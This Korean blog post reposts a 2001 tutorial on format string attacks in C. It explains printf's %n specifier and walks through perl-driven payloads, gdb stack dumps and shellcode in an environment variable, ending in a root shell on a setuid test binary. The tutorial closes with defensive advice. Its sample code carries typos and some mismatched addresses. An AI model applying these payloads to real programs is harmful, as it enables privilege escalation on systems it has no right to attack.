블로그 이미지
Flying Mr.Cheon youGom

Recent Comment»

Recent Post»

Recent Trackback»

« 2024/5 »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

[보안] Format String Attack

보안/기술 정보 | 2013. 5. 21. 10:13 | Posted by youGom


Format String Attack ( 포멧 스트링 공격 )


참고 자료( 포멧 스트링 ) : http://proneer.tistory.com/entry/FormatString-%ED%8F%AC%EB%A7%B7%EC%8A%A4%ED%8A%B8%EB%A7%81Format-String-Attack

Data Validation ( wiki ) : http://en.wikipedia.org/wiki/Data_validation


자료 못 퍼가게 막앗던데.. 출처 남기고 긁어옴;; ^^;

( 저작권이나 기타 문제 소지로 인해 삭제 요청 하면 지워 드립니다. ㅋ )



- 내용 시작 -


=====================================================
Title : Format String Attack
Author : xepfy
Email : xepfy@hanmail.net
Date : 2001. 5. 2
=====================================================


본 문서는 format string 취약점에 대해 설명한 문서로서, 대한민국의 노력하는 수많은 해커들에게 조금이나마 도움이 되었으면 하는 마음으로 작성하였다.
본 문서를 배포하는 것은 자유이나, 꼭 출처를 밝혀주기 바란다.


======> Format String Attack <======


1. 서론

2000년도 후반에 해커들 사이에 큰 반향을 일으킨 보고서 하나가 발표되었다. Format String Attack. Format String Attack이란 무엇인가? 이것은 기존에 가장 널리 사용되고 있던 Buffer Overflow 공격 기법에 견줄 만한 강력한 해킹 기법이었다. 이 해킹 기법이 발표되고 나서 그 동안 별 문제 없어 보였던 각종 프로그램들에 대한 취약점이 속속 발표되고 해당 프로그램을 제작했던 회사들은 이 취약점을 해결하기 위해 분주해지기 시작했다.

그렇다면 Format String Attack은 어떤 방식으로 이루어지는 것인가? 이것을 이해하기 위해서는 먼저 format string이 무엇인지를 이해해야 하고, 일반 c 프로그램에서 이러한 format string이 어떻게 처리되는 지를 이해해야 한다.

기존의 buffer overflow 공격기법보다 그 난이도가 매우 높기는 하지만 이미 많은 취약점이 발견되고 exploit code가 발표되고 있다. 본 문서에서는 이러한 format string attack이 무엇인지 자세히 살펴보도록 한다.



2. Format Sting이란 무엇인가?

2.1 Format string

Format String Attack에 대해 알아보기 전에 format string이란 무엇인지 알아보자.
다음은 일반 c프로그램에서 흔히 찾아볼 수 있는 printf()함수이다.
      
     printf("Hello~~ %s\n", str);

직관적으로 " "안에 포함되어 있는 "Hello~~ %s\n"이 format string이다. 즉 format string은 이 format string을 사용하는 함수에 대해, 어떤 형식 혹은 형태를 지정해 주는 문자열을 의미한다.


2.2 Format String 사용 시 문제점

Format String 공격 역시 대부분의 다른 취약점 또는 버그들처럼 일반 프로그래머들의 작은 실수에서 발생된 취약점을 이용하는 것이다.
일반적으로 어떤 프로그램을 작성할 때 그 프로그램을 작성하는 프로그래머는 대개 다음과 같은 형식으로 자신이 원하는 문자열이나 숫자 등을 원하는 곳에 출력하거나 복사한다.

     printf( "%s", str);    -------------- ①

그러나, 어떤 프로그래머들은 위와 같은 형태를 이용하지 않고 프로그래밍을 보다 편하게 하기 위해서 다음과 같이 사용하는 경우가 있다.

     printf(str);   -------------------- ②

이와 같은 형태의 프로그래밍이 잘못된 것은 아니다. 어떻게 보면 앞서 보여준 형식 ①의 printf 함수보다 적은 양의 소스코드를 사용하고 같은 기능을 수행할 수 있다면 나중에 보여준 형식 ② 형태로 printf함수를 사용하는 것이 더 현명해 보일 수도 있다. 그러나 두번째 형식을 이용하여 프로그래밍하는 경우에는 해커들에게 프로그램의 흐름을 바꿀 수 있는 기회를 제공하게 된다는 사실을 깨달아야 한다.

과연 프로그래머의 잘못은 무엇인가?  Printf() 함수를 ②와 같은 형식으로 사용하더라도 프로그래머가 원하는 형태가 출력된다. 그러나, printf() 함수에 의해서 해석되는 문자열 "str"은 출력하고자 하는 문자열이 아니라 printf() 함수에서 사용할 각종 형식 지시자(%d, %s, %c..등등)를 포함한 format string으로 인식하게 된다.

따라서 출력하려는 문자열 내에 "%d"와 같은 지시자가 들어있게 되면 이러한 형식 지시자의 개수 만큼의 인자들이 스택으로부터 추출되어진다. 이때 printf() 함수에 전달된 인자의 개수와는 상관없이 지시자의 개수만큼 format string 문자열 다음에 저장되어 있는 스택의 내용을 추출하게 된다는 것이다.

일반적으로, ①의 형식으로 printf() 함수를 사용하는 경우에는 출력할 형식 지시자의 개수만큼 출력시킬 변수들을 인자로 넘겨주게 되지만, ②의 형태로 사용하는 경우에는 사용자의 입력에 따라 지시자의 수가 달라질 수 있게 되므로, 악의적인 공격자에 의해 스택의 내용이 확인될 수 있는 것이다.


2.3 새로운 지시자(directive) "%n"

일반적으로 printf() 함수에서 사용하는 여러 형식 지시자(directive)에 대해서는 이미 알고 있으리라 생각된다. 그러나 우리가 일반적으로 사용하지 않는 여러 기능이 printf() 함수에서 제공된다. 우리가 잘 알고있지 못하는 것에는 어떤 것이 있는지 알아보도록 하자.

Format string에 사용되는 형식 지시자들 중에는 출력될 문자들의 개수를 셀 수 있는 기능을 제공하는 것이 있다. 이것이 바로 "%n"이라는 형식 지시자이다. "%n"이라는 형식 지시자를 사용하면, "%n"이 사용되기 직전에 사용된 형식에 의해 출력된 문자들의 개수가 다음 변수에 저장된다.

예를 들어 다음과 같은 경우 pos변수를 이용하여 변수 x가 출력되고 "%n" 형식 지시자를 만나기 전까지 얼마만큼의 공간이 출력되는 가를 확인할 수 있게 된다. 이 경우 변수 x에 대한 3자리와 빈공간 1개가 있으므로, pos에는 4가 저장된다.

     int pos, x = 235, y = 93;

     printf("%d %n%d\n", x, &pos, y);
     printf("The offset was %d\n", pos);

즉, "%n" 형식은 format string내에서 %n 지시자 전에 지정된 출력되어져야 하는 모든 공간의 개수를 해당 변수로 저장하게 된다. 다음의 경우에 출력되는 pos의 값은 비록 buf의 크기가 20이지만 "20"이 아니라 "100"이 된다.

     char buf[20];
     int pos, x = 0;
     snprintf(buf, sizeof(buf), "%.100d%n", x, &pos);
     printf("position: %d\n", pos);




3. printf() 함수의 동작방식

이번 절에서는 실제 printf() 함수가 어떻게 동작하는지 자세히 알아보도록 한다.
다음과 같은 예제를 살펴 보도록 하자.

<예제 1> fmtme.c
==============================================================
/*
* fmtme.c
*/

#include <stdio.h>

int main(int argc, char **argv)
{
       char buf[100];
       int x;

       for(x=0; x<100; x++)
            buf[x] = 1;
       if(argc != 2)
            exit(1);
       x = 1;
       strcpy(buf,, argv[1]);
       buf[sizeof(buf) ? 1] = 0;
       printf(buf);
       printf("\nx is %d/%#x (@ %p)\n", x, x, &x);
       return 0;
}
==============================================================


위 프로그램은 프로그램 실행 시 인자로 넘겨받은 문자열과 변수 x값을 출력하는 간단한 프로그램이다. 일반적인 경우부터 실행해 보도록 하자.

------------------------------------------------------------
[xepfy@129 format]# ./fmtme "hello world"
hello world
x is 1/0x1(@0xbffff9c0)
[xepfy@129 format]#                                                       
------------------------------------------------------------   
        <그림 1> 예제 프로그램의 일반적인 실행

위의 경우에는 어떤 특별한 것이 없다. 이 프로그램은 입력한 문자열을 버퍼로 복사하여 문자열의길이와 그 값을 출력하였다. 또한 변수 x의 값인 "1"을 출력하고 변수 x가 저장되어 있는 주소인 0xbffff9c0라는 값을 출력하였다.

일단 위 예제 프로그램이 수행되는 main() 함수의 스택영역이 어떤 형태를 가지고 있는지 확인해 보면 다음과 같다.



<스택 포인터(esp) : 0xbffff980> --->[ 변수 x             ]
                                                  [ buf[0,1,2,3]      ]
                                                  [ buf[3,4,5,6]      ]
                                                  [ ...                    ]
                                                  [ buf[96,97,98,99] ]
                                                  [ fp                     ]
                                                  [ Return Addr       ]
                                                  [ Arguments         ]
        <그림 2> Main() 함수의 스택영역



(gdb) info reg esp
esp            0xbffff980       -1073743488
(gdb) x/50wx 0xbffff980
0xbffff980:     0x00000001      0x41414141      0x20782520      0x25207825
0xbffff990:     0x78252078      0x01010100      0x01010101      0x01010101
0xbffff9a0:     0x01010101      0x01010101      0x01010101      0x01010101
0xbffff9b0:     0x01010101      0x01010101      0x01010101      0x01010101
0xbffff9c0:     0x01010101      0x01010101      0x01010101      0x01010101
0xbffff9d0:     0x01010101      0x01010101      0x01010101      0x01010101
0xbffff9e0:     0x01010101      0x00010101      0xbffffa08      0x400349cb
0xbffff9f0:     0x00000002      0xbffffa34      0xbffffa40      0x40013868
0xbffffa00:     0x00000002      0x08048380      0x00000000      0x080483a1
0xbffffa10:     0x08048430      0x00000002      0xbffffa34      0x080482e0
0xbffffa20:     0x080484ec      0x4000ae60      0xbffffa2c      0x40013e90
0xbffffa30:     0x00000002      0xbffffb59      0xbffffb7b      0x00000000
        <그림 3> gdb를 통한 스택영역 확인

main() 함수는 익히 알고 있는 대로 먼저 인자(argument)들이 스택에 push되고, 복귀주소와 프레임 포인터가 저장되고 main() 함수의 지역변수를 위한 공간이 확보된다. 이때, <예제 1>의 프로그램에서 보듯이 배열 buf가 먼저 스택에 push되고 int형 변수 x가 스택에 push된다. 따라서 main() 함수의 스택영역은 <그림 2>의 형태로 이루어진다.

다음은 printf() 함수가 실행되기 직전의 스택 영역을 확인해 보도록 하자. 이 경우, printf 함수를 위한 인자가 스택에 push되어 있는 것을 볼 수 있다.


    
                       [ fp                     ]
                       [ Return Addr       ]
   0xbffff97c --> [ printf() 1st 인자   ] <-- format string("buf")
                       [ 변수 x               ]
                       [ buf[0,1,2,3]       ]
                       [ buf[3,4,5,6]       ]
                       [ ...                    ]
                       [ buf[96,97,98,99] ]
                       [ fp                     ]
                       [ Return Addr       ]
                       [ Arguments         ]
        <그림 4> printf() 함수가 호출된 후의 스택 영역

printf() 함수가 호출되는 경우 역시, 일반 다른 함수들과 마찬가지로 일단 함수의 인자가 스택에 push되고 복귀주소, 프레임 포인터 등이 push된다. <예제 1>의 경우, printf() 함수의 인자로 사용되는 것은 "str"뿐이므로, 스택에는 "str"만이 push된다. 이때, "str"은 format string으로 사용될 부분이고, 이는 실제 format string 자체가 들어있는 것이 아니라, format string 포인터가 저장된다.

실제로 스택 내용을 확인해 보면 format string은 배열 buf의 주소(0xbffff984)를 가리키고 있는 것을 확인할 수 있다. 스택 영역을 gdb를 이용하여 확인하면 <그림 5>와 같다.
이와 같은 스택에 대한 작업이 완료되면 printf() 함수는 format string을 파싱하고 실제 출력이 이루어지게 된다.

(gdb) x/50wx 0xbffff97c
0xbffff97c:     0xbffff984      0x00000001      0x41414141      0x20782520
0xbffff98c:     0x25207825      0x78252078      0x01010100      0x01010101
0xbffff99c:     0x01010101      0x01010101      0x01010101      0x01010101
0xbffff9ac:     0x01010101      0x01010101      0x01010101      0x01010101
0xbffff9bc:     0x01010101      0x01010101      0x01010101      0x01010101
0xbffff9cc:     0x01010101      0x01010101      0x01010101      0x01010101
0xbffff9dc:     0x01010101      0x01010101      0x00010101      0xbffffa08
0xbffff9ec:     0x400349cb      0x00000002      0xbffffa34      0xbffffa40
0xbffff9fc:      0x40013868      0x00000002      0x08048380      0x00000000
0xbffffa0c:     0x080483a1      0x08048430      0x00000002      0xbffffa34
0xbffffa1c:     0x080482e0      0x080484ec      0x4000ae60      0xbffffa2c
0xbffffa2c:     0x40013e90      0x00000002      0xbffffb59      0xbffffb7b
0xbffffa3c:     0x00000000      0xbffffb8c    
        <그림 5> printf() 함수 호출 직후의 스택 영역

printf() 함수는 format string을 파싱하기 시작한다. 이때, 일반 문자들의 경우에는 일반 문자 그대로를 출력하고, 형식 지시자를 만나는 경우에는 해당 형식 지시자에 대한 내용을 스택에서 pop하여 출력하게 된다. 이미 앞에서 잠시 언급한 것처럼 이때 pop되는 것은 스택 상에서 format string 포인터 다음에 위치한 내용이 된다. 따라서 <예제 1> 프로그램을 수행할 때 형식 지시자를 사용하는 경우에는 스택 영역을 확인할 수 있다.

형식 지시자를 지정해 보도록 하자.  이번 예에서는 format string 위쪽의 스택에 있는 내용들을 출력하게 될 것이다.

[xepfy@129 format]# ./fmtme "AAAA %x %x %x %x"
AAAA 1 41414141 20782520 25207825
x is 1/0x1(@0xbffff9c0)
[xepfy@129 format]#     
         <그림 6> 형식 지시자를 이용한 스택 내용 확인

<예제 1>의 프로그램은 인자로 넘겨받은 문자열 그 자체를 format string으로 인식하고 출력하고 있다. 따라서 printf() 함수는 입력된 "%x"문자를 지시자로 인식하고, 출력을 위해 지정된 변수와는 상관없이 스택에서 4바이트(1워드)만큼을 pop하여 출력하게 된다. 위 예에서 보면 일단 입력된 문자열인 AAAA를 출력하고, %x 4개에 대한 값으로 "1, 41414141, 20782520, 25207825"라는 값이 스택에서 pop되어 출력된 것을 볼 수 있다. 이는 format string이 저장되어 있는 스택영역의 바로 다음 부분이라는 것을 알 수 있다.



4. Format String Attack

본 문서의 2, 3절에서 format string에 어떤 지시자가 지정되어 있는 경우 발생하는 문제점과 새로운 지시자 "%n"에 대해서 알아보았다. 그렇다면 앞서 살펴본 예제 프로그램에서 프로그램 실행 시 인자로 전달했던 "%x" 지시자 대신 "%n"지시자를 사용하면 어떻게 될 것인가?

간단히 예상해 볼 수 있는 것은 printf() 함수는 "%n" 지시자를 만나면 이 지시자의 순서에 해당하는 내용을 스택에서 pop하고 pop된 내용을 주소로 이용하여, 해당 주소에 지금까지 출력된 문자의 개수를 저장하게 될 것이다. 이때 만약 이 주소가 어떤 함수의 복귀 주소가 저장되어 있는 곳이라면 어떻게 될까? 프로그램의 흐름이 변경될 수 있는 것이다. 이것이 format string attack의 목적이다.


4.1 간단한 메모리 내용 변경하기
메모리 상의 특정 위치의 내용을 원하는 내용으로 변경시키는 절차에 대해서 알아보도록 한다. 이렇게 메모리상의 내용을 변경시킨다는 것은 결국 원하는 코드를 수행할 수 있다는 것을 의미한다. 결국 해커들의 목표가 이루어질 수 있다는 것이다.

<예제 1> 프로그램의 변수 x의 값은 현재 "1"로 설정되어 있다. x값을 변경시키기 위해서는 printf() 함수의 인자로 변수 x의 주소를 입력하고 printf의 첫번째 인자인 x값을 프린트(pop)함으로써 변수 x의 주소를 뛰어넘고, "%n" 형식을 이용하여 우리가 원하는 값을 x의 주소에 써야 한다. 굉장히 복잡해 보이지만 실제로는 그렇지 않다. 다음 예를 살펴보도록 하자.

여기서 입력하고자 하는 주소 값을 문자열로 생각하지 않고 실제 16진수 값으로 인식하도록 하기 위해 printf나 perl을 이용해야 한다. 여기서는 perl을 이용하여 확인해 보았다. 


[xepfy@129 format]# perl -e 'system "./fmtme", "\xd0\xf9\xff\xbf%d%n"'
己?
x is 5/0x5(@0xbffff9d0)  
        <그림 7> 변수 x값 변경하기

x값이 변한 것을 볼 수 있다. 그럼 도대체 어떤 일이 일어난 것일까?
printf() 함수는 format string에 대한 파싱(parsing)을 시작한다. 먼저 처음 4바이트("\xd0\xf9\xff\xbf")를 출력한다. 그리고 나서 "%d" 지시자를 처리하기 위해 스택에서 format string 포인터 다음에 저장되어 있는 한 워드를 pop하여 출력하게 된다.

이것이 기존의 변수 x에 저장되어 있던 "1"이다. 그리고 나서 printf는 "%n"형식 문자가 있는 것을 확인하게 되고, 스택의 다음 값을 꺼내게 된다. 이때 이 값은 buf의 첫번째 4바이트가 되는 것이다. 앞서 우리가 입력했던 것과 같이 이 4바이트는 "\xd0\xf9\xff\xbf"이 들어있다. 이는 16진수 0xbffff9d0로 해석된다. 마지막으로 printf는 "%n"으로 확인한 출력될 공간의 개수(4바이트의 메모리 주소(\xd0\xf9\xff\xbf) + 1바이트 형식 지시자(%d) = 5)를 이 주소에 덮어쓰게 되는 것이다.

그런데, 이미 알고 있듯이 이 주소는 바로 x값이 저장되어 있는 메모리상의 주소이다. 따라서 x값이 5로 변경되는 것이다. 따라서, "\xd0\xf9\xff\xbf%d%n"을 "\xd0\xf9\xff\xbf%임의정수d%n"로 변경하면 원하는 값을 입력시킬 수 있게 된다.


한가지 주의할 점은 우리가 입력하는 주소가 어느 곳에 저장되고 몇번째 형식 지시자에 의해 pop되는 지를 확인해야 한다. 그리고 pop되는 해당 형식 지시자를 %n으로 변경하여야 입력시킬 정확한 위치를 지정할 수 있다.

또한 앞서 확인한 변수 x의 위치와 값을 변경하기 위해 사용한 x값이 다를 수 있다는 것을 잊지 말아야 한다. 만약 정확한 위치에 값을 저장하지 않는 경우에는 위 프로그램의 결과 자체가 출력되지 않는 경우도 있다.

우리가 여기서 선택한 주소 0xbffff9d0는 사실 쉽게 얻을 수 있는 주소가 아니라는 것이다. 앞서 잠시 언급한 바와 같이 이것은 프로그램을 debugger를 이용하여 프로그램을 disassemble해서 정확한 메모리의 위치를 확인해야 한다.


4.2 메모리 주소 값 입력하기
일반적인 해킹에 사용되는 메모리 주소 자체를 입력하기 위해서는 어떻게 해야 하는가? 일반적으로 메모리 주소는 4바이트 크기로 지정된다. 즉, 0x00000000부터 0xffffffff까지 이다. 그런데, 일반 x86시스템에서는 정수를 이용하여 0xffffffff(4294967295)만 큼의 크기를 지정할 수 없다. 따라서 다음과 같이 입력하고자 하는 주소를 2바이트씩 나누어서 두번에 걸쳐 입력해야 한다.
 
따라서 만약 어떤 값을 입력하고자 하는 메모리 주소가 만약 0xbffffa10이라면 0xbffffa10에 2바이트를 입력하고, 0xbffffa12에 2바이트를 입력해야 하고, 우리가 입력해야 하는 값이 0xbffffa90라면 앞쪽 0xbfff부분과 뒤쪽 0xfa90부분을 각각 나누어 정수로 변경한 후 입력해야 한다. 또한 일반 x86시스템의 경우, 리틀 엔디안(little endian)을 사용하기 때문에, 0xfa90부분이 0xbfff부분보다 먼저 입력되어져야 한다. 또한 어떤 값을 입력시킬 주소로 사용하는 부분과 각종 형식 지시자 역시 포함시켜서 함께 계산하여야 한다.

한가지 더 주의해야 하는 점은 원하는 값을 입력하기 위해서는 %n 지시자 앞에 최소한 1개 이상의 %n이 아닌 다른 지시자가 있어야 한다. 그래야만 "%임의정수d"등과 같이 사용하여 원하는 값을 입력할 수 있기 때문이다. 특히 전체 주소값을 반으로 나누어 2번에 걸쳐 입력하기 위해서는 각각의 %n 지시자 앞에 어떤 다른 형식 지시자가 존재해야만 한다.

그러므로, 앞서 살펴보았던 방식대로 주소만 입력해서는 불가능해 진다. 왜냐하면 %n이 아닌 다른 지시자에 의해 스택의 내용이 pop되므로 이 손실을 보정해주기 위해서는 다른 값을 입력해 주어야만 한다.

일단 간단히 원하는 내용을 두번에 걸쳐 입력하는 예를 살펴보기로 한다. 여기서 사용하는 test프로그램은 우리가 입력하려는 위치의 4바이트를 dump하도록 만든 프로그램으로 기본 골격은 <예제 2>의 프로그램과 동일하다. 각각의 주소에 원하는 값을 입력하기 위해서 %c지시자를 %n지시자 앞에 사용하였으며, %c지시자에 의한 손실을 보정해 주기 위해서 AAAA이라는 문자열을 각각의 주소 사이에 입력하였다.

[xepfy@129 format]# perl -e 'system "./fmtme", "\x20\xfb\xff\xbfAAAA\x22\xfb\xff
\xbf%c%x%c%x"'
好AAAA"好bffffb20Abffffb22
x is 1/0x1(@0xbffff9c0)

0xbffffb20  05 00 00 00                                       ....
[xepfy@129 format]# perl -e 'system "./fmtme", "\x20\xfb\xff\xbfAAAA\x22\xfb\xff
\xbf%c%n%c%n"'
好AAAA"好A
x is 1/0x1(@0xbffff9c0)

0xbffffb20  0d 00 0e 00                                       ....
[xepfy@129 format]#     
           <그림 9> 2바이트씩 나누어 입력


결과를 살펴보면 출력될 바이트 크기 0x0d(13)와 0x0e(14)가 각각 0xbffffb20와 0xbffffb22에 입력되었다.

이번에는 원하는 값(0xbffffa90)을 입력하도록 한다.
먼저 0xfa90에 대한 정수 값을 계산해보면 64144이다. 그런데, 13바이트가 출력되도록 되어 있으므로 64144 ? 13 = 64131을 사용해야 하지만, %d대신에 %임의정수d 형태를 사용하기 때문에 기존에 %d에 의해 1만큼 감소 시켰던 값을 더해주어야 한다. 따라서 실제로 사용하는 값은 %64132d가 된다.

다음은 0xbfff에 대한 값을 선정한다. 먼저 0xbfff에 대한 정수 값은 49151이다. 그런데 이미 0xfa90에 대한 64144만큼의 출력 크기가 추가되어 있으므로, 49151 ? 64144 = -14993이다. 그런데, 음수를 사용할 수 없으므로 이를 양수로 계산하기 위해서는 0xbfff값을 0x1bfff으로 변경하여 계산한다. 따라서 0x1bfff(114687) ? 0xfa90(64144) = 0xc56f(50543)을 사용한다.

이렇게 계산하는 이유는 음수가 실제로 메모리상에 저장될 때는 MSB(Most Significant Bit)가 1로 셋팅되게 되는데, 이것을 음수가 아닌 실제 값으로 계산하면 65536 ? 14993 = 50543이 되기 때문이다. 이를 쉽게 계산하기 위해서 앞서 설명한 방법을 사용하는 것이다.

이에 우리가 원하는 값을 결정하였다. 이제 이를 이용하여 실제로 원하는 값이 메모리에 저장되는 지를 확인해 보도록 한다.

[xepfy@129 format]# perl -e 'system "./fmtme", "\x20\xfb\xff\xbfAAAA\x22\xfb\xff
\xbf%64132c%n%50543c%n"'

...
(생략)
...
                                           A
x is 1/0x1(@0xbffff9b0)

0xbffffb20  90 fa ff bf                                       ....
[xepfy@129 format]#   
        <그림 10> 원하는 값을 원하는 메모리 위치에 저장

우리가 원하는 값 0xbffffa90이 정상적으로 들어 있는 것을 확인할 수 있다.
이제 원하는 값을 원하는 메모리에 입력할 수 있게 되었다.


4.3 간단한 exploit
<예제 1> 프로그램을 다시 살펴보도록 하자. 이 프로그램은 앞서 변서 x의 내용을 변경한 것처럼, 일반 사용자가 메모리의 내용을 변경시킬 수 있는 취약점을 가지고 있다. 우리는 이 프로그램을 이용하여 쉘을 실행시키도록 한다. Root 권한의 쉘을 얻기 위해서 <예제 1> 프로그램의 소유주를 root로 변경하고 suid 비트를 부여하도록 한다.


[xepfy@129 format]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[xepfy@129 format]# chown root fmtme
[xepfy@129 format]# chgrp root fmtme
[xepfy@129 format]# chmod +s fmtme
[xepfy@129 format]# ls -l fmtme

-rwsrwsr-x    1 root     root        12712  5월  3 14:21 fmtme
[xepfy@129 format]# exit
exit
[xepfy@129 xepfy]$ id
uid=506(xepfy) gid=506(xepfy) groups=506(xepfy)
[xepfy@129 xepfy]$       
           <그림 11> owner 및 group을 root로 변경, suid비트 부여


우리의 목적은 root 권한의 쉘을 실행시키는 것이다. 그렇게 하기 위해서는

        * 스택 상에 복귀주소가 저장되어 있는 위치를 확인하고,
        * 쉘 코드의 위치를 확인하고,
        * 복귀주소의 위치에 쉘 코드의 주소를 입력한 후, 쉘을 실행한다.


4.3.1 복귀 주소 위치 확인
실제로 어떤 프로그램의 복귀주소를 확인하는 작업은 그리 쉬운 작업이 아니다. 현재 우리가 사용하고 있는 취약한 프로그램과 같이 소스코드를 알고 있지 않은 경우에는 더욱 그렇다. 만약 취약한 프로그램 파일에 읽기 권한이 없는 경우에는 더더욱 복귀주소의 위치를 찾는 작업은 어려워진다.

우리는 취약한 프로그램의 소스코드를 알고 있기 때문에, main() 함수에서 사용하는 지역변수에 할당된 메모리의 크기를 알 수 있으므로 간단히 스택포인터와 프레임 포인터의 위치를 확인하면 정확한 복귀주소의 위치를 알 수 있다. 우리는 이미 앞 절에서 살펴본 바와 같이 우리는 스택 영역의 layout을 알고 있으므로, main() 함수의 복귀주소의 위치를 계산할 수 있다. 실제로 format string 공격기법의 핵심은 복귀 주소의 위치를 알아내는 것이다. 이는 상당한 수준의 해커들도 쉽게 찾아내지 못하는 사항이다.

실제로 suid비트를 부여하고 나서는 gdb를 이용하여 실행시킬 수 없었다. 그래서 복귀주소를 찾기 위해서 suid비트를 제거하고 복귀주소를 찾았다. 찾은 복귀주소는 0xbffff1fc였다.


4.3.2 쉘 코드의 위치 확인
스택 상의 복귀주소를 변경시키기 전에 한가지 유의할 것이 있다. 일반 버퍼 오버플로우 공격과 마찬가지로 format string 공격 시에도 메모리상의 어딘가 쉘을 수행시킬 수 있는 쉘 코드가 들어 있어야 한다. 만약 format string 취약점을 가지고 있는 프로그램에서 사용할 수 있는 버퍼의 크기가 충분한 NOP(Non Operation) 코드와 쉘 코드를 포함할 수 있다면 취약한 프로그램에 쉘 코드를 직접 입력할 수 있지만, 대부분의 경우에 버퍼의 크기가 그렇게 크지 않다. 따라서 일반적으로 "NOP+쉘 코드"로 이루어진 문자열을 환경변수로 밀어 넣어 사용하게 된다. 본 문서에서도 이 방법을 이용하여 쉘 프로그램을 수행시키도록 한다.

이제 본격적으로 복귀주소를 쉘 코드가 들어있는 환경변수 EGG의 NOP 코드로 변경시키도록 하자. 먼저 환경변수 EGG가 스택 상에 어디에 위치하고 있는지를 확인한다. 여러 가지 방법이 있지만, 여기서는 gdb를 이용하여 위치를 확인하도록 한다. 정확한 위치를 확인하는 명령 및 순서에 대해서는 생략하도록 한다.


0xbffff58e:      "SHELL=/bin/bash"
0xbffff59e:      "USER=xepfy"
0xbffff5a9:      "PERL_BADLANG=0"
0xbffff5b8:      "EGG=", '\220' <repeats 196 times>...
0xbffff680:      '\220' <repeats 200 times>...
0xbffff748:      '\220' <repeats 200 times>...
0xbffff810:      '\220' <repeats 200 times>...
0xbffff8d8:      '\220' <repeats 200 times>...
0xbffff9a0:      '\220' <repeats 200 times>...
0xbffffa68:      '\220' <repeats 200 times>...
0xbffffb30:      '\220' <repeats 200 times>...
0xbffffbf8:      '\220' <repeats 200 times>...
0xbffffcc0:      '\220' <repeats 200 times>...
0xbffffd88:      "\220\220?037^\211v\b1?210F\a\211F\f?013\211?215N\b\215V\f?
\2001?211??200汪/bin/sh"
0xbffffdb8:      "LC_CTYPE=ko"      
       <그림 12> 환경변수 EGG의 스택상의 위치 확인

확인한 결과 환경변수 EGG는 메모리 상의 주소 0xbffff5b8부터 0xbffffdb7까지 이다. 그 중에서 NOP 코드는 0xbffff5b8부터 0xbffffcc0까지 이므로, 우리는 복귀주소를 이 범위내의 임의 위치를 사용하면 된다. 우리는 0xbffffa2a를 이용하도록 한다.


4.3.3 복귀주소의 위치에 쉘 코드의 주소 입력 및 쉘 실행
이미 모든 내용을 앞서 설명하였으므로 다음과 같이 복귀주소가 저장되어 있는 스택 영역 0xbfffff1fc에 쉘 코드가 들어있는 스택영역의 주소 0xbffffa2a를 입력하고 exploit 시켰다. Exploit 결과 실제로 쉘이 하나 실행되었고 "id"명령으로 확인해본 결과 root권한의 쉘임을 확인할 수 있었다.

[xepfy@129 xepfy]$ id
uid=506(xepfy) gid=506(xepfy) groups=506(xepfy)
[xepfy@129 xepfy]$ perl -e 'system "./fmtme", "\x7c\xf2\xff\xbfAAAA\x7e\xf2\xff\xbf%64132c%n%50543c%n"'  

...
(생략)
...

bash# id
uid=506(xepfy) gid=506(xepfy) euid=0(root) egid=0(root) groups=506(xepfy)
bash#  
        <그림 13> 취약한 프로그램 exploit 결과



5. 결론
자, 이제 우리는 format string 취약점을 이용하여 원하는 코드를 실행시킬 수 있다는 것을 알았다. 이와 같이 형식 문자를 이용하는 함수에 대해서 프로그래밍의 편의를 위해 정확한 format string을 사용하지 않은 경우, 문제가 있는 곳의 정확한 위치를 알고 어떤 식으로 버퍼관리가 이루어지는 지를 안다면, 원하는 코드를 메모리상에 입력시켜 어떤 프로그램의 UID를 변경시킬 수 있고, 원하는 명령을 수행시킬 수 있으며, 쉘 코드를 포함하고 있는 위치로 return address를 변경시킬 수 있다는 것을 알았다.

이것이 바로 format string attack의 기본 개념인 것이다.
이와 같은 format string attack은 function(format, args..) 유형의 프로그램에서 format부분에 유저의 입력이 가능한 경우 이와 같은 모든 함수에 대해 이루어질 수 있다. 대표적인 예로, 본 문서에서 예제로 사용한 printf()가 있고, 이 외에 fprintf(), sprintf(), snprintf(), vprintf(), vsprintf(), vsnprintf(), setproctitle()나 syslog()함수 등이 있다고 알려져 있다. 이는 stack overflow와는 약간 동작원리가 다르기 때문에 기존의 일반적인 stack overflow guard로는 발견 및 방어가 불가능하다.

Format string 공격기법은 기존의 버퍼 오버플로우 공격기법에 비해서 그 난이도가 높다. 이는 복귀주소가 저장된 정확한 위치를 알아내야 하기 때문이다.
비록 그 난이도가 높다고는 하나 이미 format string 취약점을 이용한 exploit code가 다수 발표되어 있으며, 보안성이 가장 뛰어나다는 Free-BSD계열에서도 이와 같은 format string attack에 대한 문제점이 발견되었음이 보고 되었다. 현재까지 보고된 대표적인 exploit 코드에는 다음과 같은 것들이 있다.


== Remote exploit
wu-ftpd, BSD ftpd, proftpd, rpc.statd, PHP 3 and 4, TIS-Firewall Toolkit
== Local exploit
Lpr, LPRng, ypbind, BSD chpass and fstat, libc’s with localisation

앞으로도 이러한 format string 취약점은 계속해서 보고될 것으로 판단된다. 반면에 이러한 format string 공격을 막기위한 구체적인 방법은 아직까지 이렇다 할만한 것이 없다. 대부분의 format string 공격기법에 대해 설명한 문서들에서는 다음과 같은 내용을 언급하고 있다.

== BugTraq, CERT, SANS 등의 사이트로부터 취약점 및 패치 정보를 확인할 것
== 항상 최신 패치를 적용하여 사용할 것
== 각종 보안도구를 이용하여 공격자를 제한 시킬 것
== Source Code를 확인할 수 있는 경우, Source Code 검사를 수행할 것
== 특별한 라이브러리를 이용할 것(ex. FormatGuard http://www.immunix.org )
== Non-executable Stack Option을 이용할 것
== Instruction Detection tool을 이용할 것



6. 참고문헌
[1] "Format String Attacks", Tim Newsham, Guardent, Inc, 2000-9
[2] "Exploiting Format String Vulnerabilities", scut, team teso, 2001-3-17
[3] "Format String Attack ? Concept and General Exploit", 서성현, IGRUS, khdp.org, 2001-1-8
[4] "[해킹강좌8-1,2,3] 해킹기법(Format String Bug)", 원재아빠 홈피 (http://hackerleon.cybersoldier.net/)
[5] "Format String Attack에 관하여", 최양서, 한국전자통신연구원, 2000-11-27
[6] "Smashing The Stack For Fun And Profit", Aleph One, Phrack Magazine 49-14
 

Reference : http://www.hackerschool.org/HS_Boards/data/Lib_system/xepfy_fs.txt



'보안 > 기술 정보' 카테고리의 다른 글

Software Security 3/5  (0) 2013.09.11
